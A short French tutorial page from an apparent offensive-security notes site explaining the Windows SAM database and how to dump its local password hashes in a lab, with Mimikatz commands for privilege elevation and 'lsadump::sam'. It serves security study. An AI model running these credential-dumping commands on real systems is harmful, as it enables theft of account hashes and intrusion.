> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/credentials/sam-database-dump.md).

# Extraction de la base SAM

### Qu’est-ce que SAM ?

Le **SAM**, ou **Gestionnaire des comptes de sécurité**, est une base de données locale Windows contenant les comptes locaux de la machine.

Il contient des informations relatives à :

* aux utilisateurs locaux ;
* aux groupes locaux ;
* aux hachages des comptes locaux.

### Accès requis

Pour accéder à SAM, des privilèges élevés sont requis.

Dans le laboratoire, nous utilisons :

```bash
privilege::debug

token::elevate
```

L’objectif est de passer dans un contexte plus privilégié afin d’accéder aux secrets locaux.

<figure><img src="/files/d0124997a58ad4388ac5039dca547ee7d7593084" alt=""><figcaption></figcaption></figure>

### Extraction de SAM

Dans le laboratoire :

```bash
lsadump::sam
```

Cette commande permet d’extraire des informations de la base de données SAM locale.

<figure><img src="/files/4399011239886fb70552f7b0f51478fbd243a9f8" alt=""><figcaption></figcaption></figure>


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